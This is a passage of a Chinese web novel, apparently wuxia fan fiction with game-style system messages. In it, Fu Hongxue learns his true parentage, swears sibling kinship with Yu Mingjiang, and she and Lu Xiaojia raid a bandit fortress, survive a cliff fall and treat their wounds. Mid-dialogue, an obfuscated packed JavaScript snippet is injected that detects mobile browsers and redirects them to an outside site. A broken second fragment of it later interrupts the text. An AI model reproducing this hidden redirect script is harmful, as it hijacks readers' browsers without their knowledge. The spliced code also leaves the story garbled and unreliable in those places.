马空群苦心经营二十余年,万马堂偌大的基业不至于因为一把火就没了。 他身上肯定藏着更多的宝藏秘密。 翠浓受了这么多苦,他马空群不补偿受害者,就想拍拍屁股走人? 尤明姜绝不会放过马空群的! “嗯。”路小佳拍了拍手心的橘络,“明晚子时,龙虎寨会面。” “好,只是……”银杏叶打着旋儿落在尤明姜的肩头。 把那片银杏叶轻轻拈起,路小佳笑道:“只是什么?” “既然你知道马空群的下落,怎么不告诉傅红雪?”尤明姜歪了歪头。 路小佳没有搭话,直接丢下一句:“不见不散。” 说完,人影就不见了。 “这个路小佳。”尤明姜暗自摇头,嘟囔了一句,抱着一筐橘子往回走。 · 傅红雪却在经历一场巨大的冲击。 他的大脑一片空白,努力消化着叶开刚才的一番话。 这些年来,他活在漫漫黑暗中,怎么都盼不到天晴。 每天一睁眼,满心满眼都是报仇的心思。 一颗心像口淤塞了烂泥的井,淤泥之上生出了剧毒的断肠草。 现在却告诉他,这么多年,这些仇恨本不该由他来承受? 傅红雪呼吸急促,一阵反胃,他死死抓住桌角,才勉强撑住不晕倒。 “我确实不该再恨了。”傅红雪突然很想看看外面的太阳。 太阳在哪里? · 阳光下,他的影子歪歪斜斜的。 傅红雪低着头,特别想哭。 就在这时,尤明姜从斜刺里蹦出来,她手里拿着个橘子,金红的果皮映得她双颊生辉,“傅红雪,好你个呆子!偷偷自己溜了!” 傅红雪声音闷闷的:“你怎么回来了?” “买个橘子几步路的事儿,还能去多久啊?” 尤明姜塞过来的半个橘子还带着体温,“喏,尝尝这个橘子,超甜的!” 假话。 这个橘子特别酸,酸得牙都快掉了。 她眼巴巴盯着傅红雪,就盼着看他被酸到扭曲的脸。 年纪轻轻的,不能总是苦瓜脸。 可傅红雪面无表情吃下橘子,眉头都没皱一下,跟吃了个没味儿的东西似的。 只是酸涩的汁水在喉间漫开时,泪珠正巧砸在手背上,溅起细细的水雾。 “你怎么了?”尤明姜以为他被自己整蛊哭了,“对不住,你别哭了。” 傅红雪抹了把眼泪:“以后不要叫我傅红雪。” 尤明姜道:“好的,傅红雪。” 傅红雪道:“……傅红雪不该是我的名字。” 尤明姜哄道:“这名儿你不要了?那我改名吧,我叫傅红雪好了。” 傅红雪道:“这是个被诅咒过的名字,任何人背负上这个名字都会变得不幸。” 尤明姜道:“你看看你!你这人好生霸道,自己不要的名字,也不准别人用。” 傅红雪道:“红雪,雪是被鲜血染红的,那血是父……白天羽的血。” 雪有时也是热的——被热血染红的时候。 尤明姜道:“为什么不称呼他为父亲了?” 傅红雪道:“因为我不是白天羽的孩子,叶开才是。” · 傅红雪把事情的来龙去脉说了一遍。 白夫人早知道丈夫有了外遇,却一直不动声色。 直到花白凤分娩,她买通了接生婆,趁花白凤虚弱,把孩子掉了包。 叶开才是花白凤的亲儿子,傅红雪,不过是个替代品。 · 尤明姜咂舌道:“这些都是叶开告诉你的?” 傅红雪沉重地点了点头。 尤明姜突然生气道:“那你怎么不给他两个大嘴巴?” 傅红雪猛地一震,急切道:“这不是叶开的错!他当年也不过是个婴儿!叶家夫妇临终前,才把真相说给他听的。” 尤明姜道:“我说的是在边城那会儿,他既然是白天羽的孩子,直接杀了马空群,这样大家不都省事儿了嘛!” 傅红雪摇了摇头:“是因为他的师傅是李寻欢,李寻欢没有教过他恨。” 尤明姜撇撇嘴,眼珠子一转,突然提议:“要不,咱们揍叶开一顿?” “不行!”傅红雪眼睛瞪得溜圆。 尤明姜憋着坏笑,继续逗他:“等他睡着了,我套个麻袋,咱俩拿棍子一顿乱揍,再扔到护城河里,怎么样?” 傅红雪却当了真,慌慌张张摆手:“别这样……” “你舍不得叶开。”尤明姜笑了起来,一语中的,“你在心底早把他当朋友了。” “等我还了花白凤的养育之恩,我和叶开之间就不会再有什么往来了。” 傅红雪握紧了刀鞘,喃喃道:“血缘都是假的,人还剩什么?” 尤明姜忽而轻笑,淡淡道:“剩一副硬骨头。” “硬骨头?”傅红雪怔怔地望着她。 “没错,匹夫不可夺其志,在江湖中称霸的,永远是那些不屈的硬汉子。我信你,将来定会成为顶天立地的大侠。” 阳光透过树梢的缝隙,斑驳地洒落在她的脸庞。 “至于你的名字……”尤明姜目光带着几分欣赏,“我觉得红雪二字,美极了。” 傅红雪一怔,话语打结:“美?我的名字?” 阳光穿过树隙在她鼻尖投下晃动的光斑:“对啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958759|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我第一次遇到你的时候,就说过的。不寄梅花,千里寄红雪。这红雪就是荔枝。” “枝头荔枝,果壳红似流霞,果肉莹白胜雪……还有什么比红雪更动人?” 傅红雪听痴了,眼里突然有了泪。 尤明姜眼睛亮晶晶的,憧憬道:“天刚蒙蒙亮,咱们就去摘带着露水的红荔枝,叫上翠浓、路小佳、叶开……哦,叶开这不厚道的家伙,得罚酒三缸!” 她说话时带着温柔的笑意,透过银杏树隙的阳光点点闪烁。 这一瞬间,傅红雪觉得心中的断肠草已经被除个干净,种满了荔枝树。 “四和香,你闻过没有?听说闽中有红盐荔枝的做法,到时候剥壳研磨成粉,给你做成个本命荔枝香牌,挂在身上,比四和香还要好闻。” 她说着,拿起一只橘子,凑到他面前晃了晃,“就像这只橘子一样好闻,到时候,我们就约在荔枝成熟的时候见面。” 傅红雪擦了把眼泪,轻轻点了点头。 见他还在发呆,她抬手轻轻拍了拍他的肩膀:“你永远是花白凤的儿子。只是她爱得疯狂,被恨意迷了心智。无论是你,还是叶开,只要在她身边长大,她都会让孩子去报血海深仇。” “以前,你被当作白天羽的遗腹子,被你娘拖进仇恨深渊;但现在,你只是花白凤自己的儿子,就该像一束光,该去救救你深渊里的养娘。” 一语惊醒梦中人。 傅红雪怔怔地看着她。 “还有啊,得恭喜你,多了个亲人。你和叶开是同一个母亲,往后就是兄弟啦。”尤明姜眼里闪着光,双手俏皮地抱拳,笑着比了个恭喜的动作,“欸——” 她猛地被傅红雪抱住了。 她一下懵了,大脑瞬间空白,双手僵在身侧。 傅红雪抱着她,一动不动地抱着她。 “你永远是最特别的那个……”指尖悬在她的肩膀上颤抖,“明姜,谢谢你……你……对我来说,你很重要。” “真的吗?” 傅红雪把脸埋进她的颈窝,掌心不断颤抖:“真的。” “缺了你,我好疼……疼得像剜心……” 短暂的愣神后,尤明姜深吸一口气。 她迟疑了一瞬,双手轻轻搭在他的肩膀上,回抱住他:“……在我心里,你也……也一直都特别重要,就像我的亲弟兄。” 傅红雪身子微微一僵,眼中闪过一丝复杂的情绪,嘴角泛起一抹苦笑。 他轻声问:“真的吗?” 尤明姜点了点头。 “你的心里……”他深吸一口气,尾音在颤抖,“当真只装得下兄弟姐妹的情分?” “当真。”尤明姜顿了顿,最终还是鼓起勇气说道:“你……要不要和我义结金兰?” 傅红雪垂下眼眸,手里沁出潮湿的汗,努力想将那些未出口的情愫,深埋在心底。 良久,他释然一笑,眼眸却有些黯然:“好啊,以后……就是一家人了。” · . 等两人离开,路小佳从树后走了出来。 他弯腰捡起一片橘子皮,放在眼前端详,嘴角微微上扬。 这样一片橘子皮,纵是再怎么酸涩,曝晒个数日,摇身一变就成了陈皮。 人生就像晾晒的陈皮,每一道褶皱里,都藏着太阳的“指纹”。 将生命的酸涩化为醇厚。 · 关帝庙内。 手持三炷线香,尤明姜与傅红雪神色肃穆,屈膝跪在蒲团上。 神案上的关公像威风凛凛,两人手背交叠,额头触到蒲团,连叩三下。 “关二爷在上,实鉴此心——” 二人对视一眼,双手将线香插在香炉中,齐声起誓: “从今往后,你我义结金兰,亲如兄弟姊妹,患难相扶,永不相负。” · 【叮!尊敬的少侠,恭喜您成功完成隐藏任务“探寻傅红雪的痛苦根源”,一段尘封的江湖秘史就此揭开,您的妙手仁心将在江湖中流传!】 【任务奖励:医疗便携急救箱*1只】 【已发放到您的竹编药篓。】 【特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 . 29.龙虎寨① 深夜子时,龙虎寨。 龙虎寨矗立在悬崖峭壁之上,占据天险地势。羊马城、瓮城、马面和哨塔依次排列,高墙、草丛和土道之下,处处都是致命的陷阱。 远远望去,俨然是座微缩的城池。 这样严密的防御工事,官军多次强攻都无功而返。 怪不得马空群会选择在这儿藏身。 “哨塔在十五丈的高墙上。”路小佳压低声音,手中无鞘剑轻轻一转,剑光映着漆黑的寨墙,“寅时换岗,现在还剩下……” “半炷香。”尤明姜指了指哨塔,“西南角这段墙下有条暗渠,我先去解决哨子。” 话刚落音,她便往后退了三步,紧接着猛地发力,足尖在湿滑的墙面上接连轻点几下,眨眼间就蹿上了哨塔,脚步轻盈得近乎无声。 然而,哨塔内安静得令人毛骨悚然,连一丝呼吸声都捕捉不到。 她心里“咯噔”一下。 难道设好了埋伏,就等着她自投罗网? 她屏住呼吸,借着微弱的月光,仔细地观察着四周,随后戴上了一双医用□□手套。哨塔内火盆里的余烬还在,墙上还挂着弓箭,尤明姜伸手晃了晃桌上的酒壶,酒壶里面的酒也没喝完,又翻了翻瞭望录,墨迹未干。 意识到这里既没有阴谋,也没有埋伏,她心里的疑惑反而愈发浓重。 弓箭手呢? 哨子呢? 就不怕仇人长驱直入吗? 就在这时,路小佳突然贴到了气窗外。 尤明姜道:“被发现了?” 路小佳摇了摇头,皱眉道:“往北三十丈,血腥气很浓。” . 往北三十丈,正好对着聚义厅的方向。 空气中弥漫着浑浊且带着甜腻的血腥气。 尤明姜心里涌起一股不安,立刻戴上目前唯一的金色称号。 【称号名称:枯荷听雨(已佩戴)】 【称号效果:枯荷虽即将凋零,却在雨中顽强地支撑着,有一种残破却坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,会立刻触发一次技能,恢复60%的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触发技能,均在上一次身体基础上进行。】 聚义厅坐落在最高峰,俯瞰着周围的群山,气势十分磅礴。 两人对视一眼,悄悄潜入聚义厅内。 眼前却是一片狼藉的景象。 墙上挂着的“义”字旗已经被撕成了两半,垂落在火盆里,灰烬中隐隐约约能看到几片未燃尽的布条。大酒缸被打得稀巴烂,地上横七竖八地躺着尸体,几把沾血的刀剑散落在地上,残酒和血水混在一起。 赫然是发生了自相残杀的惨案。 满地死人的大厅里,唯有铺着白虎皮的第一把交椅上,坐着个独酌的白衣人。 这个白衣人正是马空群。 马空群脸上溅了鲜血,却还不紧不慢地喝着葡萄酒,好像早就等着他们来了。 “你们来得挺快。”马空群悠悠地叹了口气。 尤明姜停下脚步:“是你煽动的?” 马空群叹了口气:“错,是贪婪煽动的。” 这些土匪都想得到万马堂的财富,但财富只有一份,能独吞为什么要共享呢? 路小佳盯着另一只夜光杯,杯沿儿上还残留着酒渍。 他警惕地扫视周遭儿,“看来还有贵客。” “算不得贵客,只是来过个顽劣的小子。” 马空群放下酒杯,鬓边掺杂着几缕白发,眼尾也多了几条皱纹,他抽出隐藏在袍袖中的突火铳,骤然瞄准了尤明姜。 刹那间,尤明姜肌肉紧绷,眼睛望着黑洞洞的铳口,大脑飞速运转。 路小佳神色冷峻,紧紧锁定马空群手中的突火铳,想挪到她面前。 忽听一声厉喝:“二位别乱动,小心这突火铳走了火。” 视线掠过尤明姜,落在路小佳的身上,马空群皮笑肉不笑:“路小佳,我听说过你,荆无命的徒弟。” 路小佳绷着脸,眼神沉沉地望着他:“我不介意把名字告诉死人。” 马空群道:“你的剑虽快,可和这突火铳相比呢?” 路小佳冷冷道:“它每次只能装填一发,如果你杀不死我,我就会杀死你。” 马空群笑了笑:“那咱们就来比一比,看看是我先射死她,还是你先杀死我。” 路小佳的脸色猛地沉了下来。 尤明姜突然动了动。 马空群作势要发射子窠,却见她将手臂伸直,突然冲他竖了个大拇指。 这是什么意思? 马空群先是一愣,随后大笑起来:“你也觉得这个主意很不错,是不是?” 尤明姜没说话,大拇指对准马空群,轮流闭上左右眼,目测了个大致的距离。 她心里有数以后,放下手,开口说:“突火铳一向受朝廷管制,你怎么会有?” 马空群本来看得一头雾水,听了这话,笑着摇了摇头:“你该不会想拿朝廷来压制我吧?哈哈哈,虽管制了火器,但江湖奇人众多,仿制一把又有什么难的……” 尤明姜等的就是这句话! 她一把将路小佳往旁边推去,然后猛地扑了过去。 马空群反应极快,见尤明姜如猛虎扑食般冲来,瞬间点燃突火铳。 只听“砰”的一声,子窠裹挟着一股热浪,如闪电般从铳口直直射向尤明姜。 生死一线间,尤明姜迅速矮身,施展铁板桥功夫,整个人后仰成一张弯弓,子窠贴着她的脸颊呼啸而过,带起一阵劲风。 趁马空群还未回过神,尤明姜顺势一个滑铲,动作干脆利落,直接将马空群铲倒在地,紧接着单手撑地,一个漂亮的侧翻起身。 与此同时,路小佳如一只敏捷的猎豹,迅速腾空而起,在空中划过一道弧线补位,手中长剑寒光一闪,精准地削掉马空群手中紧握的突火铳。 “啊啊啊啊!!!” 马空群面部因剧痛而扭曲,五官紧紧挤在一起。 豆大的汗珠从额头不断滚落,他死死捂住那只被削秃的左手,鲜血汩汩涌出。 尤明姜左右扫视,“砰”地打碎一张板凳! 她抄起凳子腿,凶狠地扑向马空群,上下挥打! 一棍、两棍、三棍…… 每一声都伴随着沉闷的撞击声。 棍子雨点般落在马空群的背上、肩上、腿上,每一下都倾注着尤明姜的怒火。 马空群疼得脸色惨白,冷汗如雨,每一次棍子落下,都带来一阵撕裂的剧痛。 棍子又一次重重砸落。 伴随着一声惨叫,腿骨发出轻微的“咔嚓”声,马空群整个人瘫软在地上。 路小佳提醒她:“留活口。” 尤明姜轻嗤一声,揪住马空群的领子,用力把他掼在白虎皮交椅上。 “把你藏起来的家底儿都交出来!” 这些金银财宝,都是牺牲翠浓才换来的,理应赔给翠浓。 · 马空群从青肿如烂桃的眼缝间,望向这两个意气风发的年轻人。 刹那间,一种迟暮之感如潮水般将他淹没,他猛地意识到,属于自己的时代,已然如那东去的江水,一去不返了。 他心中又悲凉又愤恨。 既已拥有这般鲜活的时光,为什么还要来夺走自己拼了半生才积攒下的财富? 马空群突然又有了骨气,冷漠地回答:“那是我的。” 尤明姜扬起手臂,左右开弓,“你从白天羽那里抢占的,统统都要交出来! 要恨就去恨白天羽! 等下到了地底下,他俩尽管放开手脚,拼个你死我活,互掐个够! 马空群怒目圆睁,死死盯着她,脸上肌肉狠狠一抽。 忽而,他仰头大笑,笑声尖锐:“哼,原来是冲着万马堂的财富来的!装得道貌岸然的,和我当年的行径又有什么区别?傅红雪知道你这副嘴脸吗?” 在尤明姜眼中,马空群这般恶臭人渣,唯有拳头能让他老实。 “我对恶人,可没什么耐心。”尤明姜冷冷开口,“我可不是翠浓,任你磋磨还孝敬你。对你这种人渣,我有的是力气和手段!” 马空群满嘴鲜血,殷红的液体顺着下巴不断滴落,在地面晕染开,胸前衣襟也被染得通红。钻心的疼痛如汹涌潮水,几乎将他的意识彻底淹没。 他惊恐地意识到,尤明姜是真的动了杀心。但他再也支撑不住,天旋地转间,眼睛下意识地瞥向一旁放酒杯的小桌。 马空群的脑袋无力地耷拉下去,只剩微弱的喘息,证明他还苟延残喘着。 · 两人敏锐地捕捉到他昏迷前那一闪而过的眼神。 路小佳快步上前,一把掀开丝绒桌布,果然,底下藏着个精致的妆奁。 他刚想伸手把箱子取出来,尤明姜却眼疾手快,按住了他的手腕。 “小心有诈。” 她朝路小佳使了个眼色,示意他退到安全之地。 随后,她手持凳子腿,隔着安全距离,一点点挑开了妆奁。 她大气都不敢出,全身肌肉紧绷,时刻防备妆奁里藏着炸药。 当妆奁缓缓打开,映入眼帘的竟是一块成色绝佳的祖母绿玉石。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本以为是马空群挣脱束缚来偷袭,可映入眼帘的,却是个黑衣人。 虽是一身蒙面夜行衣,可路小佳还是认出了他的身份。 竟然是他! 路小佳如遭雷殛。 黑衣人眼神中满是狡猾、贪婪和嫉妒。 路小佳交友不广,性格又傲气,江湖中人认识他都是凭那一把无鞘剑。 而且这人师从荆无命,又在青龙会挂了号,一颗头颅相当值钱。 黑衣人站在崖边,手里掂着一块石头,看着路小佳浑身狼狈,又想起昨夜大哥说起的,路小佳身边的女人开罪过他,此刻只觉得报应不爽,心里莫名舒畅。 他忍不住哈哈大笑起来。 · · 路小佳根本没心思理会他。 他心里只被一个念头填满:救尤明姜!救她!!! 额头流下来的鲜血,迷蒙了双眼,煞得路小佳几乎睁不开眼。 他死死咬着牙关,五指死死扣住尤明姜的胳膊,不肯有丝毫松动。 路小佳深知,如果这会儿放手,往后便只能在回忆里寻她。 生死一线,尤明姜额前的碎发被汗水浸湿,贴在脸上。 她看着他,声嘶力竭地冲他吼:“快放手!你是不是疯了,想死吗!” 路小佳从牙缝里挤出两个字:“绝不。” “我不会死的。”尤明姜说道。 金色称号相当于一道保险,她掉下去或许还有一线生机。 可路小佳不肯妥协。 他眼中布满血丝,手指早已被磨得血肉模糊,鲜血顺着手臂流淌。 一滴滚烫的鲜血滴落在尤明姜的眼睛上。 她艰难地抬起头,声音哽咽得几乎说不出话:“路小佳……” 路小佳涨红了脸,额头上青筋暴起,像是一条条扭曲的蚯蚓。 他紧咬着牙咯咯作响,每一块肌肉都在用力,每一分力气都在拉住尤明姜。 他对上她的眼睛,呼吸一滞,嘴唇微微颤抖,费了好大劲,才从干涩的喉咙里挤出几个字:“别……别看我,太……太丑了,闭……闭上眼睛。” · 黑衣人双手抱胸,脸上挂着扭曲的笑意。 笑声在空旷的悬崖边回荡:“路小佳,求我啊,求我,我就拉你们上来。” 路小佳的呼吸变得沉重,每一次喘息都伴随着钻心的疼痛。 痛,一部分来自额头上的伤口,一部分源于体力的渐渐耗尽。 路小佳喉咙里发出低沉的呜咽,手臂已经疼得伸不直了,还是不肯松手。 黑衣人怎么可能救她?不过是戏耍路小佳罢了! 见路小佳意动,尤明姜一狠心,奋力甩开路小佳的手,直直地坠落下去。 下坠时风声灌满衣袖,恍惚间听见头顶传来嘶吼:“尤明姜!!!” 身体先大脑一步做出抉择,路小佳毫不犹豫地跟着跳下了悬崖。 · · 30.龙虎寨② 人在半空坠落时本该害怕。 路小佳衣袂掠过她眼睫的一刹那,尤明姜却突然笑了。 她迎着他坠落的轨迹,垫在他的身下,撞裂无数道横生的虬枝。 剧痛在脊背上炸开,恍惚中,尤明姜听见了骨头断裂的脆响。 警报声刺入耳膜:【WARNING——】 【尊敬的少侠,您目前已濒临死亡边缘,正在为您激活称号“枯荷听雨”……】 【LOADING……PLEASE WAIT……】 【技能生效中——】 · 悬崖底部是个芦苇荡。 一路撞断无数根枝桠,又从嶙峋的山坡上滚落,最终跌入淤泥稀烂的滩涂上。 淤泥里沉睡的腐殖质翻涌,惊起蛰伏在芦苇根部的幽绿流萤。 尤明姜吐了口鲜血,仰面望着被枝桠切割成蛛网的夜空。 【称号名称:枯荷听雨(冷却中)】 【称号效果:枯荷虽即将凋零,却在雨中残喘,有一种残而坚韧的美感。佩戴该称号后,少侠遭受到致命伤害时,立刻触发一次技能,恢复60%的身体机能和80%的血量,维持一种残而不死的状态。】 【注1:每隔半年可以触发一次。】 【注2:每一次触发技能,均在上一次身体基础上进行。】 双双陷入昏迷前,路小佳翕动着苍白的唇,尾音消散在芦苇荡里。 “别松手……” · 不知过了多久,尤明姜悠悠醒转。 入目是密密麻麻的芦苇,在微风中轻轻摇曳,发出沙沙的声响。 尤明姜转头,看到躺在不远处的路小佳。 雪亮的月光下,他躺在芦苇丛中,襟口斜斜散着。青年脸色苍白,眼睑泛着乌青,额角凝着猩红的血渍,右臂软绵绵地垂着。 “……路小佳?”心瞬间悬起,尤明姜眼底满是担忧,“路小佳!” 奈何双手被妆奁黏住,她侧身腰腹发力,脚跟在淤泥里蹬几下。手肘刚撑起半寸,可这轻轻一动,左上腹就疼得厉害。 “嘶——”像有片碎瓷在脏腑间游走,又无力地颓然跌了回去。 到底是医者难自医啊。 尤明姜对着虚无的四周,喃喃自语:“不疼的,不疼的……” 舌尖抵着上颚,一遍又一遍地哄骗自己,钻心的痛感真的就能渐渐消失。 尤明姜咬着牙,侧翻过身,手肘撑着地面,额头布满了汗珠。 终于,她坐直了身子。 手臂传来了火辣辣的刺痛,低头叼起袖子,才发现上面烙着青紫的指印儿。 是路小佳死死不肯放手而留下的淤痕。 险些他就被自己连累死了。 她心里过意不去,挪到路小佳的身畔,侧脸感受着他的鼻息。 直到确定他还活着,尤明姜才定下心来,长长吁一口气。眼下当务之急,先得取下医用丁.腈手套,顺势摆脱黏在手上的妆奁。 她将手连同妆奁一起缓缓浸入苇塘中。 寒意顺着指尖渗到骨髓,激得她直冒鸡皮疙瘩,她抿了抿唇,默默等待时机。丁.腈手套遇冷,质地变得脆硬,粘性会降低。等她抽出冻麻的双手,手套已经冻脆了,双手一抻,终于摆脱胶黏的桎梏。 妆奁应声而落。 匣子侧翻,滚落出那颗价值连城的帝王绿翡翠。 尤明姜拈起这块帝王绿,借着月光,细细地端详。 只见它玉色均匀,却造型圆润,底面平整,大抵是镶嵌在物件上的。 什么物件要用这么贵重的帝王绿翡翠来镶嵌? . . 沉思间,芦苇穗尖上儿的水珠,悄然落在路小佳的眼睫上。 他睫毛颤了颤,悠悠睁开了眼睛。 “醒了?”尤明姜收起帝王绿翡翠,双手轻轻贴在他的脸颊上,“感觉怎么样?” 迷糊地望了她一会儿,路小佳的瞳孔突然收缩,猛地坐起身来。 他左手按住她的肩膀,细细打量着她。 坠崖时,恍惚听到了她撞断枝桠的动静…… 可眼下看起来,倒是并无大碍,仅有脸上几处细微擦伤,唇色寡淡些罢了。 “我没事……倒是你,”尤明姜偏头躲开他的触碰,“跟着我跳崖,不想活了?” 路小佳松开手,别过脸去,脖颈绷得紧紧的:“救你还成我的错了?” “我的错,我的错。”尤明姜轻声应和,“你跟我跳下来,难道能折苇渡江么?” 路小佳垂眸,眼睫微微颤动,“不能。” “不能还跳,是不是傻?”尤明姜忽然笑了,“我要是葬身崖底,那二十万钱引就不用还给你了。” “你想得美!”路小佳没忍住,当场发火了,嗓门儿拔得老高,“再给我把死字儿挂在嘴边试试——” “我就是追到崖底,追到阴司地狱,死了都要找你讨回来!”他用尽全身力气,声嘶力竭地吼出这段话。 话音刚落,剧烈的喘息声在寂静中回响,每一下都像是沉重的鼓点。 尤明姜微微一怔,定定地凝视着他,须臾,嘴角忽然上扬。 轻声道:“开玩笑的,咱们都要活得轰轰烈烈才是。” . “哼。”路小佳不理她,低头捂住抽搐的右臂,冷汗顺着他的下颌滴落。 刚刚栽进芦苇丛时,右臂最先着地,导致肩关节暴突,看起来像是脱臼了。 “我来吧。”尤明姜见状,轻轻按住他的肩膀。路小佳猛地一僵,下意识想挣脱尤明姜的手,“我自己能行。” 话虽这么说,微微颤抖的手臂却暴露了他的虚弱。他紧咬着牙,额头上豆大的汗珠滚落,却依旧试图摆脱尤明姜的搀扶。 尤明姜见状,不禁又好气又好笑,“都这样了,还逞强,你就别折腾了。” 说着,手上的力气又加重了几分。 路小佳无奈地松了劲,像是默认了尤明姜的提议,别过头去,不再挣扎。 她伸出手,轻轻在周围摸索着,仔细感受着骨头的位置和肌肉的状态。 一番探查后,心中有了数,左手稳稳托住路小佳脱臼的肩部,右手轻轻握住他的手臂。就在这时,尤明姜忽然抬眸,望向路小佳,调侃道:“你脸红什么?” 他微微一怔,还没来得及反应,就听到“咯噔”一声,脱臼的肩膀成功归位。 路小佳瞬间放松下来,长舒了一口气,脸上却泛起一抹红晕,却不知是因为疼痛,还是因为尤明姜那突如其来的调侃。 尤明姜长舒一口气,又仔细检查了一遍,确保关节已经完全复位,随后从竹编药篓中取出【接骨续筋膏】,均匀地涂在路小佳的肩膀上。 忽然窥见他肩上细长而蜿蜒的缝合疤痕,尤明姜抿了抿唇:“还疼吗?” 路小佳故作轻松地说:“疼过去了。” 她的指尖缓缓落下,沿着那蜿蜒的缝合疤痕轻轻触碰。 路小佳猛地一僵,想躲又舍不得,僵坐在原地,任由她涂抹着药膏。 . 不知过了多久,路小佳耳根子烧得通红,已经快要坐不住了,尤明姜才收回手。 抬眸忽然注意到,路小佳额头的伤口还在渗血,蜿蜒在他苍白的皮肤上,格外刺眼。 想起系统奖励的【医用便携急救箱】,赶忙取出来。箱盖打开,里面的物品一应俱全: 【100ML双氧水、25粒碘伏棉球、1袋速冷冰袋、1个急救毯、1个三角绷带、1个止血带、2支生理盐水、10片消毒片、12根碘伏棉棒、1卷纱布绷带、20张贴创口贴、2贴退热贴、20粒棉球、100ML酒精、1个镊子、3包纱布片、60支棉签。】 看着这些东西,路小佳竟还有闲心打趣: “你这破药篓子还挺经折腾,居然没被砸烂。” 尤明姜白了他一眼,嗔怪道:“都什么时候了,还有心思贫嘴?”说着,戴上医用□□手套,动作轻柔地查看他的伤口。 指尖轻轻触碰到路小佳的额角,刹那间,惊起一蓬细密的血沫。好在伤口不算深,只是普通的头皮挫裂伤,无需缝合,也没有伤到颅骨和重要血管。 尤明姜暗暗松了口气,旋即,先用双氧水和生理盐水,仔仔细细地冲洗着伤口,每一个动作都格外小心,生怕弄疼了他。 冲洗完毕,她又拿起蘸满碘伏的棉球,从伤口 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望着漫天的飞絮,路小佳轻叹道:“小时候总觉着,人活一世就该像这芦苇,风往哪儿吹,根就往哪儿扎。” “那现在呢?”她歪头望着他。 路小佳眼底笑意淡了三分:“①芦花千里霜月白,伤行色,来朝便是关山隔。” 芦苇深处传来野鸭的振翅声。 尤明姜抬起手,轻轻捋了捋被风吹乱的发丝,轻声道:“虽说离别难免愁绪,可谁又能断言,前方等待你的,不是②‘水曲山隈四五家,夕阳烟火隔芦花’呢?” 路小佳微微一怔,目光从芦花上收回,转而看向尤明姜。他下意识地去摩挲剑柄,却摸了个空,像是突然意识到什么,脸色骤变,在腰带上摸索起来。 “怎么了?”尤明姜见他神色有异,关切地问道。 路小佳脸色阴沉,咬牙道:“我的剑……我的剑不见了!” 声音里带着几分懊恼,在坠崖的混乱里,他竟丝毫没察觉到无鞘剑的遗落。 路小佳皱眉,声音低沉,透着几分不甘,“无鞘剑对我意义非凡。” 不仅仅是武器,更是他的底气与骄傲。 尤明姜也跟着紧张起来,站起身环顾四周,在芦苇丛中仔细翻找。 一边找一边安慰他:“会找到的,说不定只是被芦苇盖住了。” 但她心里也清楚,在这茫茫芦苇荡里找一柄剑,谈何容易。 路小佳眉头紧锁,也不顾身上的伤痛,站起身来,拨弄着芦苇。 找了许久,两人一无所获。 路小佳有些颓然地坐回原地,眼神里满是失落。 她轻轻拍了拍他的肩膀:“先别灰心,等天亮了,顺着坠落的路线,说不定能找到。” 路小佳深吸一口气:“这芦苇荡这么大,哪有那么容易找到。” 尤明姜道:“万一呢?” 路小佳缓缓点头:“也只能这样了。” . 眉眼被雪亮的月色沁得温柔,对上他的视线,尤明姜轻轻叹了口气,拍了拍自己的肩膀:“天下最坚实的臂膀,借给你靠。” 路小佳愣住了,心跳陡然失了节奏,脸颊微微发烫。见他一副呆样儿,尤明姜轻笑着转头,看月亮下层层叠叠的芦浪。 一阵崖风拂过,白茫茫的芦花被裹挟而起,在空中盘旋纷飞。尤明姜伸出手掌,轻轻接住一片芦花,手指摩挲着柔软的绒毛。 无鞘剑在哪儿呢? 正对着那翻涌如浪的芦花出着神,冷不防肩头像是压上了什么,沉甸甸的。她心下一惊,下意识转过头去,就瞧见了路小佳的侧脸。他靠在她的肩膀上,近得似乎能数清他睫毛的根数,也能感受到他的呼吸。 “借你的肩膀靠一下。”路小佳的声音轻轻的,像是怕惊飞了这夜色里的芦花。 . 四周静谧得只能听见芦苇在风中沙沙作响,和远处野鸭偶尔的啼鸣。 月光下,两人依偎的身影被拉得很长很长。路小佳闭着眼,靠着她的肩膀睡着了。 . 31.龙虎寨③ 月光被芦苇揉成碎银,路小佳额头上的绷带又渗出了暗红。 芦苇筛下的光影在他侧脸上游走,他睡着的姿态,乖得人畜无害,不像江湖传闻中赫赫有名的杀手,倒像只蜷缩在树影儿底下舔舐伤口的幼鹿。 眼睫在他的眼睑处投下细密的影儿,零落的芦花沫儿粘在上头,随着路小佳的鼻息轻轻起伏。凝视着他的脸庞,尤明姜轻叹一口气,指尖无意识探向他的脸颊。 伸到半途,忽又意识到自己的冒昧,她动作凝滞一瞬,手指蜷了又伸,转而去抚平他肩头根本不存在的褶皱。 明明隔着一层布料,指尖却传来了滚烫的触感,察觉到异样,她脸上的神情瞬间凝重起来,迅速摒弃了先前的迟疑,抬手稳稳地覆上了路小佳的额头。 掌心之下,那灼人的烫意让她心里一沉:路小佳发烧了。 “路小佳,路小佳!”她凑近路小佳的耳畔,一只手轻轻拍着他的肩膀,试图唤醒他,“快醒醒,你在发烧……” 路小佳眉头微蹙,干裂的嘴唇微微张合,烧得睁不开眼睛,脑袋轻轻晃动了一下,偏到了另一侧,随后又陷入了死寂般的安静。 他睫毛低垂,没有任何苏醒的迹象。 . 糟糕,是她以己度人了! 路小佳可没有【枯荷听雨】的金色称号给他兜底儿。 她迅速取出【布洛芬缓释胶囊】和救命的【医用便携急救箱】。 又从急救箱里取出退热贴,先轻轻敷在他的额头降温,而后又掰开路小佳的嘴,将布洛芬缓释胶囊与生理盐水混合,一点一点地喂进他口中。 “冷……” 